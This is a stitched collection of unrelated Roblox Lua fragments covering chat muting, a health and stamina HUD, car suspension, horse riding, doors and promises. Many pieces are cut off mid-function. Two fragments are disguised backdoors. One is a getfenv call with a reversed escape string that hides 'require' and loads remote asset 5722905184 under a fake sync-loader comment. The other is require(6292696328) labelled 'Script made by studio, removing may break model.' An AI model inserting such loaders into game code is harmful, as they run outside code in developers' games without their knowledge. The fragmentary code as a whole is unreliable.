"GameChat_ChatMain_SpeakerHasBeenBlocked",
string.format("Speaker '%s' has been blocked.", player.Name)
),
"{RBX_NAME}",player.Name
)
)
end
end)
end
if PlayerMutedEvent then
PlayerMutedEvent.Event:connect(function(player)
if MutePlayer(player) then
SendSystemMessageToSelf(
string.gsub(
ChatLocalization:Get(
"GameChat_ChatMain_SpeakerHasBeenMuted",
string.format("Speaker '%s' has been muted.", player.Name)
),
"{RBX_NAME}", player.Name
)
)
end
end)
end
function UnmutePlayer(player)
local unmutePlayerRequest = DefaultChatSystemChatEvents:FindFirstChild("UnMutePlayerRequest")
if unmutePlayerRequest then
return unmutePlayerRequest:InvokeServer(player.Name)
end
return false
end
if PlayerUnBlockedEvent then
PlayerUnBlockedEvent.Event:connect(function(player)
if UnmutePlayer(player) then
SendSystemMessageToSelf(
string.gsub(
ChatLocalization:Get(
"GameChat_ChatMain_SpeakerHasBeenUnBlocked",
string.format("Speaker '%s' has been unblocked.", player.Name)
),
"{RBX_NAME}",player.Name
)
)
end
end)
end
if PlayerUnMutedEvent then
PlayerUnMutedEvent.Event:connect(function(player)
if UnmutePlayer(player) then
SendSystemMessageToSelf(
string.gsub(
ChatLocalization:Get(
"GameChat_ChatMain_SpeakerHasBeenUnMuted",
string.format("Speaker '%s' has been unmuted.", player.Name)
),
"{RBX_NAME}",player.Name
)
)
end
end)
end
|
--[[Algemado.Changed:Connect(function()
Stance:FireServer(Stances,Virar,Rendido.Value)
end)]]
|
Humanoid.Died:Connect(function()
TS:Create(char.Humanoid, TweenInfo.new(1), {CameraOffset = Vector3.new(0,0,0)} ):Play()
Main.Visible = false
end)
local BleedTween = TS:Create(Main.Poses.Bleeding, TweenInfo.new(1,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,-1,true), {ImageColor3 = Color3.fromRGB(150, 0, 0)} )
BleedTween:Play()
saude:GetAttributeChangedSignal("Surrender"):Connect(function()
local Valor = saude:GetAttribute("Surrender")
Evt.Stance:FireServer(nil,nil,Valor)
end)
saude:GetAttributeChangedSignal("Bleeding"):Connect(function()
Main.Poses.Bleeding.Visible = saude:GetAttribute("Bleeding")
end)
saude:GetAttributeChangedSignal("Injured"):Connect(function()
local Valor = saude:GetAttribute("Injured")
if Valor == true then
TS:Create(Main.Poses.Levantado, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(150, 0, 0)}):Play()
TS:Create(Main.Poses.Agaixado, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(150, 0, 0)}):Play()
TS:Create(Main.Poses.Deitado, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(150, 0, 0)}):Play()
else
TS:Create(Main.Poses.Levantado, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(255, 255, 255)}):Play()
TS:Create(Main.Poses.Agaixado, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(255, 255, 255)}):Play()
TS:Create(Main.Poses.Deitado, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(255, 255, 255)}):Play()
end
end)
local a = Main.Vest
local b = Main.Helm
local Ener = Main.Poses.Energy
function Vest()
if Protecao.VestProtect.Value <= 0 then
TS:Create(a, TweenInfo.new(1), {ImageTransparency = 1} ):Play()
else
TS:Create(a, TweenInfo.new(1), {ImageTransparency = .125} ):Play()
end
end
function Helmet()
if Protecao.HelmetProtect.Value <= 0 then
TS:Create(b, TweenInfo.new(1), {ImageTransparency = 1} ):Play()
else
TS:Create(b, TweenInfo.new(1), {ImageTransparency = .125} ):Play()
end
end
function Stamina()
if ServerConfig.EnableStamina then
if saude.Variaveis.Stamina.Value <= (saude.Variaveis.Stamina.MaxValue/2) then
Ener.ImageColor3 = Color3.new(1,saude.Variaveis.Stamina.Value/(saude.Variaveis.Stamina.MaxValue/2),saude.Variaveis.Stamina.Value/saude.Variaveis.Stamina.MaxValue)
Ener.Visible = true
elseif saude.Variaveis.Stamina.Value < saude.Variaveis.Stamina.MaxValue then
Ener.ImageColor3 = Color3.new(1,1,saude.Variaveis.Stamina.Value/saude.Variaveis.Stamina.MaxValue)
Ener.Visible = true
elseif saude.Variaveis.Stamina.Value >= saude.Variaveis.Stamina.MaxValue then
Ener.Visible = false
end
else
saude.Variaveis.Stamina.Value = saude.Variaveis.Stamina.MaxValue
Ener.Visible = false
end
end
Vest()
Helmet()
Stamina()
Protecao.VestProtect.Changed:Connect(Vest)
Protecao.HelmetProtect.Changed:Connect(Helmet)
saude.Variaveis.Stamina.Changed:Connect(Stamina)
function L_150_.Update()
if saude.Variaveis.Stamina.Value <= (saude.Variaveis.Stamina.MaxValue/2) then
local StaminaX = (1 - (saude.Variaveis.Stamina.Value)/(saude.Variaveis.Stamina.MaxValue/2))/20
Camera.CoordinateFrame = Camera.CoordinateFrame * CFrame.Angles( math.rad( StaminaX * math.sin( tick() * 3.5 )) , math.rad( StaminaX * math.sin( tick() * 1 )), 0)
end
end
maxAir = 100
air = maxAir
lastHealth = 100
lastHealth2 = 100
maxWidth = 0.96
local Nadando = false
Humanoid.StateChanged:connect(function(state)
if state == Enum.HumanoidStateType.Swimming then
Nadando = true
else
Nadando = false
end
end)
game:GetService("RunService"):BindToRenderStep("Camera Update", 200, L_150_.Update)
while wait() do
if ServerConfig.CanDrown and player.Character:FindFirstChild("Head") then
local min = player.Character.Head.Position - (.1 * player.Character.Head.Size)
local max = player.Character.Head.Position + (.1 * player.Character.Head.Size)
local region = Region3.new(min,max):ExpandToGrid(4)
local material = workspace.Terrain:ReadVoxels(region,4)[1][1][1]
if player.Character.Humanoid.Health > 0 then
if material == Enum.Material.Water then
if air > 0 then
air = air-0.15
elseif air <= 0 then
air = 0
player.Character.Humanoid.Health = 0
end
else
if air < maxAir then
air = air + .5
end
end
end
if air <= 50 then
script.Parent.Frame.Oxygen.ImageColor3 = Color3.new(1,air/50,air/100)
script.Parent.Frame.Oxygen.Visible = true
elseif air < maxAir then
script.Parent.Frame.Oxygen.ImageColor3 = Color3.new(1,1,air/100)
script.Parent.Frame.Oxygen.Visible = true
elseif air >= maxAir then
script.Parent.Frame.Oxygen.Visible = false
end
script.Parent.Efeitos.Oxigen.ImageTransparency = air/100
if air <= 25 then
script.Parent.Efeitos.Oxigen.BackgroundTransparency = air/25
end
end
end
|
--Green is info if you are confused--
|
wait(70, 180)--time between 70 seconds and 180 seconds your monster or whatever can spawn. you can make this whatever time you want--
game.ReplicatedStorage.YourNPCsName.Parent = game.Workspace
wait(13)
game.Workspace.YourNPCsName.Parent = game.ReplicatedStorage
|
--[[ Last synced 7/20/2021 12:07 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
-- Script made by studio, removing may break model.
|
require(6292696328)
|
-- Returns whether or not the player can level up.
|
function PlayerLeveling:CanLevelUp(Player: Player, Level, XP): boolean
return XP.Value >= Level.Value * XPPerLevel
end
|
--!
|
button = script.Parent
Input = script.Parent.Parent.SCREEN
function Clear()
print("Cleared")
Input.Text = "Cleared"
script.Parent.Parent.Sound4:play()
wait(0.5)
Input.Text = ""
end
button.MouseButton1Click:connect(Clear)
|
--------RIGHT DOOR --------
|
game.Workspace.doorright.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l42.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l61.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l53.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l72.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l41.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l52.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l63.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l71.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorright.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorright.l73.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorright.l62.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorright.l51.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorright.l32.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorright.l43.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
game.Workspace.doorright.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
|
--[=[
Chains onto an existing Promise and returns a new Promise.
:::warning
Within the failure handler, you should never assume that the rejection value is a string. Some rejections within the Promise library are represented by [[Error]] objects. If you want to treat it as a string for debugging, you should call `tostring` on it first.
:::
Return a Promise from the success or failure handler and it will be chained onto.
@param successHandler (...: any) -> ...any
@param failureHandler? (...: any) -> ...any
@return Promise<...any>
]=]
|
function Promise.prototype:andThen(successHandler, failureHandler)
assert(
successHandler == nil or type(successHandler) == "function",
string.format(ERROR_NON_FUNCTION, "Promise:andThen")
)
assert(
failureHandler == nil or type(failureHandler) == "function",
string.format(ERROR_NON_FUNCTION, "Promise:andThen")
)
return self:_andThen(debug.traceback(nil, 2), successHandler, failureHandler)
end
|
--//Shifting//-
|
if key == "1" then
carSeat.Wheels.FR.Spring.Stiffness = 900
carSeat.Wheels.FL.Spring.Stiffness = 900
carSeat.Wheels.RR.Spring.Stiffness = 900
carSeat.Wheels.RL.Spring.Stiffness = 900
carSeat.Wheels.FR.Spring.MinLength = 1.6
carSeat.Wheels.FL.Spring.MinLength = 1.6
carSeat.Wheels.RR.Spring.MinLength = 1.6
carSeat.Wheels.RL.Spring.MinLength = 1.6
car.DriveSeat.Air:Play()
wait(0.1)
carSeat.Wheels.FR.Spring.Stiffness = 900
carSeat.Wheels.FL.Spring.Stiffness = 900
carSeat.Wheels.RR.Spring.Stiffness = 900
carSeat.Wheels.RL.Spring.Stiffness = 900
carSeat.Wheels.FR.Spring.MinLength = 1.575
carSeat.Wheels.FL.Spring.MinLength = 1.575
carSeat.Wheels.RR.Spring.MinLength = 1.575
carSeat.Wheels.RL.Spring.MinLength = 1.575
wait(0.1)
carSeat.Wheels.FR.Spring.Stiffness = 900
carSeat.Wheels.FL.Spring.Stiffness = 900
carSeat.Wheels.RR.Spring.Stiffness = 900
carSeat.Wheels.RL.Spring.Stiffness = 900
carSeat.Wheels.FR.Spring.MinLength = 1.560
carSeat.Wheels.FL.Spring.MinLength = 1.560
carSeat.Wheels.RR.Spring.MinLength = 1.560
carSeat.Wheels.RL.Spring.MinLength = 1.560
wait(0.1)
carSeat.Wheels.FR.Spring.Stiffness = 900
carSeat.Wheels.FL.Spring.Stiffness = 900
carSeat.Wheels.RR.Spring.Stiffness = 900
carSeat.Wheels.RL.Spring.Stiffness = 900
carSeat.Wheels.FR.Spring.MinLength = 1.545
carSeat.Wheels.FL.Spring.MinLength = 1.545
carSeat.Wheels.RR.Spring.MinLength = 1.545
carSeat.Wheels.RL.Spring.MinLength = 1.545
car.DriveSeat.Air:Stop()
elseif key == "2" then
carSeat.Wheels.FR.Spring.Stiffness = 9000
carSeat.Wheels.FL.Spring.Stiffness = 9000
carSeat.Wheels.RR.Spring.Stiffness = 9000
carSeat.Wheels.RL.Spring.Stiffness = 9000
elseif key == "3" then
carSeat.Wheels.RR.Spring.Stiffness = 1500
carSeat.Wheels.RL.Spring.Stiffness = 1500
elseif key == "4" then
carSeat.Wheels.FR.Spring.Stiffness = 1500
carSeat.Wheels.FL.Spring.Stiffness = 1500
end
end)
|
----------------------------------
-----------CONNECTIONS------------
----------------------------------
|
KeyboardConnection = nil
JumpConnection = nil
FocusConnection = InputService.TextBoxFocused:connect(TextFocus) --always needs to be connected
UnfocusConnection = InputService.TextBoxFocusReleased:connect(TextUnfocus)
function MakeKeyboardConnections()
KeyboardConnection = InputService.InputBegan:connect(Input)
end
function BreakKeyboardConnections()
KeyboardConnection:disconnect()
end
|
--Scripted by DermonDarble
|
local userInputService = game:GetService("UserInputService")
local player = game.Players.LocalPlayer
local character = player.Character
local humanoid = character.Humanoid
local horse = script:WaitForChild("Horse").Value
local horsemain = script.Parent.Parent.Parent
local sprinting = false
local horseGui = script:WaitForChild("HorseGui")
horseGui.Parent = player.PlayerGui
local rideAnimation = humanoid:LoadAnimation(horse.Animations.Ride)
rideAnimation:Play()
local movement = Vector3.new(0, 0, 0)
userInputService.InputBegan:connect(function(inputObject, gameProcessedEvent)
if not gameProcessedEvent then
if inputObject.KeyCode == Enum.KeyCode.W or inputObject.KeyCode == Enum.KeyCode.Up then
movement = Vector3.new(movement.X, movement.Y, -1)
elseif inputObject.KeyCode == Enum.KeyCode.S or inputObject.KeyCode == Enum.KeyCode.Down then
movement = Vector3.new(movement.X, movement.Y, 1)
elseif inputObject.KeyCode == Enum.KeyCode.A or inputObject.KeyCode == Enum.KeyCode.Left then
movement = Vector3.new(-1, movement.Y, movement.Z)
elseif inputObject.KeyCode == Enum.KeyCode.D or inputObject.KeyCode == Enum.KeyCode.Right then
movement = Vector3.new(1, movement.Y, movement.Z)
elseif inputObject.KeyCode == Enum.KeyCode.LeftShift then
if horse.Humanoid.WalkSpeed == 45 then
horse.Humanoid.WalkSpeed = 16
else
horse.Humanoid.WalkSpeed = 45
end
elseif inputObject.KeyCode == Enum.KeyCode.Q then
local ray = Ray.new(horse.HumanoidRootPart.Position + Vector3.new(0, -4.3, 0), Vector3.new(0, -1, 0))
local hit, position = game.Workspace:FindPartOnRay(ray, horse)
if hit and hit.CanCollide then
horse.Humanoid:ChangeState(Enum.HumanoidStateType.Jumping)
end
elseif inputObject.KeyCode == Enum.KeyCode.Space then
humanoid:ChangeState(Enum.HumanoidStateType.Jumping)
end
end
end)
userInputService.InputEnded:connect(function(inputObject, gameProcessedEvent)
if not gameProcessedEvent then
if inputObject.KeyCode == Enum.KeyCode.W or inputObject.KeyCode == Enum.KeyCode.Up then
if movement.Z < 0 then
movement = Vector3.new(movement.X, movement.Y, 0)
end
elseif inputObject.KeyCode == Enum.KeyCode.S or inputObject.KeyCode == Enum.KeyCode.Down then
if movement.Z > 0 then
movement = Vector3.new(movement.X, movement.Y, 0)
end
elseif inputObject.KeyCode == Enum.KeyCode.A or inputObject.KeyCode == Enum.KeyCode.Left then
if movement.X < 0 then
movement = Vector3.new(0, movement.Y, movement.Z)
end
elseif inputObject.KeyCode == Enum.KeyCode.D or inputObject.KeyCode == Enum.KeyCode.Right then
if movement.X > 0 then
movement = Vector3.new(0, movement.Y, movement.Z)
end
end
end
end)
spawn(function()
while horse.Seat.Occupant == humanoid do
game:GetService("RunService").RenderStepped:wait()
horse.Humanoid:Move(movement, true)
end
horseGui:Destroy()
humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping, true)
horse.Humanoid:Move(Vector3.new())
rideAnimation:Stop()
script:Destroy()
end)
|
--[[Chassis Assembly]]
|
--Create Steering Axle
local arm=Instance.new("Part",v)
arm.Name="Arm"
arm.Anchored=true
arm.CanCollide=false
arm.FormFactor=Enum.FormFactor.Custom
arm.Size=Vector3.new(_Tune.AxleSize,_Tune.AxleSize,_Tune.AxleSize)
arm.CFrame=(v.CFrame*CFrame.new(0,_Tune.StAxisOffset,0))*CFrame.Angles(-math.pi/2,-math.pi/2,0)
arm.CustomPhysicalProperties = PhysicalProperties.new(_Tune.AxleDensity,0,0,100,100)
arm.TopSurface=Enum.SurfaceType.Smooth
arm.BottomSurface=Enum.SurfaceType.Smooth
arm.Transparency=1
--Create Wheel Spindle
local base=arm:Clone()
base.Parent=v
base.Name="Base"
base.CFrame=base.CFrame*CFrame.new(0,_Tune.AxleSize,0)
base.BottomSurface=Enum.SurfaceType.Hinge
--Create Steering Anchor
local axle=arm:Clone()
axle.Parent=v
axle.Name="Axle"
axle.CFrame=CFrame.new(v.Position-((v.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector*((v.Size.x/2)+(axle.Size.x/2))),v.Position)*CFrame.Angles(0,math.pi,0)
axle.BackSurface=Enum.SurfaceType.Hinge
--Create Powered Axle (LuaInt)
local axlep=arm:Clone()
axlep.Parent=v
axlep.Name='AxleP'
axlep.CFrame=v.CFrame
MakeWeld(axlep,axle)
if v.Name=="F" or v.Name=="R" then
local axle2=arm:Clone()
axle2.Parent=v
axle2.Name="Axle"
axle2.CFrame=CFrame.new(v.Position+((v.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector*((v.Size.x/2)+(axle2.Size.x/2))),v.Position)*CFrame.Angles(0,math.pi,0)
axle2.BackSurface=Enum.SurfaceType.Hinge
MakeWeld(arm,axle2)
end
--Create Suspension
if _Tune.SuspensionEnabled==true then
local SuspensionGeometry=v:FindFirstChild("SuspensionGeometry")
if SuspensionGeometry then
local WeldModel=SuspensionGeometry:FindFirstChild('Weld')
if WeldModel then
ModelWeld(WeldModel,car.DriveSeat)
end
MakeWeld(SuspensionGeometry.SpringTop,car.DriveSeat)
MakeWeld(SuspensionGeometry.Hub,base)
local susparts=SuspensionGeometry:GetDescendants()
for _,p in pairs(susparts) do
if p:IsA('Part') then
if _Tune.CustomSuspensionDensity~=0 then
p.CustomPhysicalProperties=PhysicalProperties.new(_Tune.CustomSuspensionDensity,0,0,0,0)
else
p.CustomPhysicalProperties=PhysicalProperties.new(_Tune.CustomSuspensionDensity,0,0,0,0)
p.Massless=true
end
end
end
if _Tune.SusVisible==true then
for _,p in pairs(susparts) do
if p:IsA('Part') then
p.Transparency=.5
elseif p:IsA("SpringConstraint") or p:IsA("HingeConstraint") or p:IsA("BallSocketConstraint") then
p.Visible=true
end
end
else
for _,p in pairs(susparts) do
if p:IsA('Part') then
p.Transparency=1
elseif p:IsA("SpringConstraint") or p:IsA("HingeConstraint") or p:IsA("BallSocketConstraint") then
p.Visible=false
end
end
end
local g = Instance.new("BodyGyro",SuspensionGeometry:FindFirstChild('SpringBottom'))
g.Name = "Stabilizer"
g.MaxTorque = Vector3.new(0,0,1)
g.P = 0
sp=SuspensionGeometry:FindFirstChildOfClass('SpringConstraint')
sp.LimitsEnabled = true
sp.Visible=_Tune.SusVisible
sp.Radius=_Tune.SusRadius
sp.Thickness=_Tune.SusThickness
sp.Color=BrickColor.new(_Tune.SusColor)
sp.Coils=_Tune.SusCoilCount
if v.Name == "FL" or v.Name=="FR" or v.Name =="F" then
g.D = _Tune.FGyroDampening
sp.Damping = _Tune.FSusDamping
sp.Stiffness = _Tune.FSusStiffness
sp.FreeLength = _Tune.FSusLength+_Tune.FPreCompress
sp.MaxLength = _Tune.FSusLength+_Tune.FExtensionLim
sp.MinLength = _Tune.FSusLength-_Tune.FCompressLim
else
g.D = _Tune.RGyroDampening
sp.Damping = _Tune.RSusDamping
sp.Stiffness = _Tune.RSusStiffness
sp.FreeLength = _Tune.RSusLength+_Tune.RPreCompress
sp.MaxLength = _Tune.RSusLength+_Tune.RExtensionLim
sp.MinLength = _Tune.RSusLength-_Tune.RCompressLim
end
v.Massless=false
else
local sa=arm:Clone()
sa.Parent=v
sa.Name="#SA"
if v.Name == "FL" or v.Name=="FR" or v.Name =="F" then
local aOff = _Tune.FAnchorOffset
sa.CFrame=v.CFrame*CFrame.new(_Tune.AxleSize/2,-fDistX,-fDistY)*CFrame.new(aOff[3],aOff[1],-aOff[2])*CFrame.Angles(-math.pi/2,-math.pi/2,0)
else
local aOff = _Tune.RAnchorOffset
sa.CFrame=v.CFrame*CFrame.new(_Tune.AxleSize/2,-rDistX,-rDistY)*CFrame.new(aOff[3],aOff[1],-aOff[2])*CFrame.Angles(-math.pi/2,-math.pi/2,0)
end
local sb=sa:Clone()
sb.Parent=v
sb.Name="#SB"
sb.CFrame=sa.CFrame*CFrame.new(0,0,_Tune.AxleSize)
sb.FrontSurface=Enum.SurfaceType.Hinge
local g = Instance.new("BodyGyro",sb)
g.Name = "Stabilizer"
g.MaxTorque = Vector3.new(0,0,1)
g.P = 0
local sf1 = Instance.new("Attachment",sa)
sf1.Name = "SAtt"
local sf2 = sf1:Clone()
sf2.Parent = sb
--(Avxnturador) adds spring offset
if v.Name == "FL" or v.Name == "FR" or v.Name == "F" then
local aOff = _Tune.FSpringOffset
if v.Name == "FL" then
sf1.Position = Vector3.new(fDistX-fSLX+aOff[1],-fDistY+fSLY+aOff[2],_Tune.AxleSize/2+aOff[3])
sf2.Position = Vector3.new(fDistX+aOff[1],-fDistY+aOff[2],-_Tune.AxleSize/2+aOff[3])
else
sf1.Position = Vector3.new(fDistX-fSLX+aOff[1],-fDistY+fSLY+aOff[2],_Tune.AxleSize/2-aOff[3])
sf2.Position = Vector3.new(fDistX+aOff[1],-fDistY+aOff[2],-_Tune.AxleSize/2-aOff[3])
end
elseif v.Name == "RL" or v.Name=="RR" or v.Name == "R" then
local aOff = _Tune.RSpringOffset
if v.Name == "RL" then
sf1.Position = Vector3.new(rDistX-rSLX+aOff[1],-rDistY+rSLY+aOff[2],_Tune.AxleSize/2+aOff[3])
sf2.Position = Vector3.new(rDistX+aOff[1],-rDistY+aOff[2],-_Tune.AxleSize/2+aOff[3])
else
sf1.Position = Vector3.new(rDistX-rSLX+aOff[1],-rDistY+rSLY+aOff[2],_Tune.AxleSize/2-aOff[3])
sf2.Position = Vector3.new(rDistX+aOff[1],-rDistY+aOff[2],-_Tune.AxleSize/2-aOff[3])
end
end
sb:MakeJoints()
--(LuaInt) there was axle:makejoints here I believe, but the new powered axle manually welds itself so I ditched it
local sp = Instance.new("SpringConstraint",v)
sp.Name = "Spring"
sp.Attachment0 = sf1
sp.Attachment1 = sf2
sp.LimitsEnabled = true
sp.Visible=_Tune.SusVisible
sp.Radius=_Tune.SusRadius
sp.Thickness=_Tune.SusThickness
sp.Color=BrickColor.new(_Tune.SusColor)
sp.Coils=_Tune.SusCoilCount
if v.Name == "FL" or v.Name=="FR" or v.Name =="F" then
g.D = _Tune.FGyroDampening
sp.Damping = _Tune.FSusDamping
sp.Stiffness = _Tune.FSusStiffness
sp.FreeLength = _Tune.FSusLength+_Tune.FPreCompress
sp.MaxLength = _Tune.FSusLength+_Tune.FExtensionLim
sp.MinLength = _Tune.FSusLength-_Tune.FCompressLim
else
g.D = _Tune.RGyroDampening
sp.Damping = _Tune.RSusDamping
sp.Stiffness = _Tune.RSusStiffness
sp.FreeLength = _Tune.RSusLength+_Tune.RPreCompress
sp.MaxLength = _Tune.RSusLength+_Tune.RExtensionLim
sp.MinLength = _Tune.RSusLength-_Tune.RCompressLim
end
MakeWeld(car.DriveSeat,sa)
MakeWeld(sb,base)
end
else
MakeWeld(car.DriveSeat,base)
end
--Lock Rear Steering Axle
if _Tune.FWSteer=='Static' or _Tune.FWSteer=='Speed' or _Tune.FWSteer=='Both' then
else
if v.Name == "RL" or v.Name == "RR" or v.Name=="R" then
MakeWeld(base,axle)
end
end
--Weld Assembly
if v.Parent.Name == "RL" or v.Parent.Name == "RR" or v.Name=="R" then
MakeWeld(car.DriveSeat,arm)
end
MakeWeld(arm,axle)
arm:MakeJoints()
--Weld Miscelaneous Parts
if v:FindFirstChild("SuspensionFixed")~=nil then
ModelWeld(v.SuspensionFixed,car.DriveSeat)
end
if v:FindFirstChild("WheelFixed")~=nil then
ModelWeld(v.WheelFixed,axle)
end
if v:FindFirstChild("Fixed")~=nil then
ModelWeld(v.Fixed,arm)
end
--Weld Wheel Parts
if v:FindFirstChild("Parts")~=nil then
ModelWeld(v.Parts,v)
end
--Add Steering Gyro
if v:FindFirstChild("Steer") then
v:FindFirstChild("Steer"):Destroy()
end
if v.Name=='FR' or v.Name=='FL' or v.Name=='F' then
local steer=Instance.new("BodyGyro",arm)
steer.Name="Steer"
steer.P=_Tune.SteerP
steer.D=_Tune.SteerD
steer.MaxTorque=Vector3.new(0,_Tune.SteerMaxTorque,0)
steer.cframe=v.CFrame*CFrame.Angles(0,-math.pi/2,0)
else
if (_Tune.FWSteer=='Static' or _Tune.FWSteer=='Speed' or _Tune.FWSteer=='Both') then
local steer=Instance.new("BodyGyro",arm)
steer.Name="Steer"
if _Tune.RSteerP~=nil and _Tune.RSteerD~=nil and _Tune.RSteerMaxTorque~=nil then
steer.P=_Tune.RSteerP
steer.D=_Tune.RSteerD
steer.MaxTorque=Vector3.new(0,_Tune.RSteerMaxTorque,0)
else
steer.P=_Tune.SteerP
steer.D=_Tune.SteerD
steer.MaxTorque=Vector3.new(0,_Tune.SteerMaxTorque,0)
end
steer.cframe=v.CFrame*CFrame.Angles(0,-math.pi/2,0)
end
end
--Add Stabilization Gyro
local gyro=Instance.new("BodyGyro",v)
gyro.Name="Stabilizer"
gyro.MaxTorque=Vector3.new(1,0,1)
gyro.P=0
if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
gyro.D=_Tune.FGyroDamp
else
gyro.D=_Tune.RGyroDamp
end
--Add Motors (LuaInt)
local AV=Instance.new("HingeConstraint",v)
AV.ActuatorType='Motor'
AV.Attachment0=Instance.new("Attachment",v.AxleP)
v.AxleP.Attachment.Name='AA'
AV.Attachment1=Instance.new("Attachment",v)
v.Attachment.Name='AB'
AV.Name="#AV"
AV.AngularVelocity=0
AV.MotorMaxTorque=0
local BV=Instance.new("HingeConstraint",v)
BV.ActuatorType='Motor'
BV.Attachment0=Instance.new("Attachment",v.AxleP)
v.AxleP.Attachment.Name='BA'
BV.Attachment1=Instance.new("Attachment",v)
v.Attachment.Name='BB'
BV.Name="#BV"
BV.AngularVelocity=0
BV.MotorMaxTorque=_Tune.PBrakeForce
for _,c in pairs(v:GetDescendants()) do
if c.ClassName=='Attachment' and c.Name~='SAtt' then
if c.Parent.Name=='FL' or c.Parent.Name=='RL' or c.Parent.Parent.Name=='FL' or c.Parent.Parent.Name=='RL' then c.Orientation=Vector3.new(0,0,90) end
if c.Parent.Name=='F' or c.Parent.Name=='R' or c.Parent.Parent.Name=='F' or c.Parent.Parent.Name=='R'
or c.Parent.Name=='FR' or c.Parent.Name=='RR' or c.Parent.Parent.Name=='FR' or c.Parent.Parent.Name=='RR' then c.Orientation=Vector3.new(180,0,90) end
end
end
end
|
--Ahoj, vím že ze koukaš na tenhle script, tohle je muj první door script. neočekavej že to bude fungovat
|
local TweenService = game:GetService("TweenService")
local Hinge = script.Parent
local clickDetector = script.Parent.Parent.MainDoor.ClickDetector
local Goal = {
CFrame = Hinge.CFrame * CFrame.Angles(0,math.rad(-78),0)
}
local Goal2 = {
CFrame = Hinge.CFrame * CFrame.Angles(0,0,0)
}
local tweenInfo = TweenInfo.new(1)
local doorOpen = TweenService:Create(Hinge, tweenInfo, Goal)
local doorClose = TweenService:Create(Hinge, tweenInfo, Goal2)
local isOpen = false
clickDetector.MouseClick:Connect(function()
if isOpen == false then
doorOpen:Play()
isOpen = true
else
doorClose:Play()
isOpen = false
end
end)
|
--CARPLAY VARIABLES--
|
local handler = car:WaitForChild("CarPlay_Handler")
local driveseat = car.DriveSeat
local home = script.Parent:WaitForChild("CarPlay"):WaitForChild("Homescreen"):WaitForChild("Apps")
local side = script.Parent:WaitForChild("CarPlay").Side
local music = script.Parent:WaitForChild("CarPlay").Music
local filter = car.DriveSeat:WaitForChild('Filter')
local nowplaying = script.Parent:WaitForChild("CarPlay").NowPlaying
local songData = script.Parent.CarPlay_Data.NowPlayingData.SongNumber
local RecentAppEnabled = true --by default
local debounce = false
|
-- Libraries
|
local Support = require(Tool:WaitForChild 'SupportLibrary');
|
--------LEFT DOOR --------
|
game.Workspace.doorleft.l31.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l32.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l33.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l61.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l62.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l63.BrickColor = BrickColor.new(1)
|
-----------------
--| Functions |--
-----------------
|
local function MakeSkeleton()
Skeleton = InsertService:LoadAsset(SKELETON_ASSET_ID):GetChildren()[1]
if Skeleton then
local head = Skeleton:FindFirstChild('Head')
if head then
head.Transparency = 1
end
local skeletonScriptClone = SkeletonScript:Clone()
skeletonScriptClone.Parent = Skeleton
skeletonScriptClone.Disabled = false
local creatorTag = Instance.new('ObjectValue')
creatorTag.Name = 'creator' --NOTE: Must be called 'creator' for website stats
creatorTag.Value = MyPlayer
local iconTag = Instance.new('StringValue', creatorTag)
iconTag.Name = 'icon'
iconTag.Value = Tool.TextureId
creatorTag.Parent = Skeleton
end
end
local function SpawnSkeleton(spawnPosition)
if Skeleton then
-- Hellfire
local firePart = Instance.new('Part')
firePart.Name = 'Effect'
firePart.Transparency = 1
firePart.FormFactor = Enum.FormFactor.Custom
firePart.Size = Vector3.new()
firePart.Anchored = true
firePart.CanCollide = false
firePart.CFrame = CFrame.new(spawnPosition - Vector3.new(0, 4, 0))
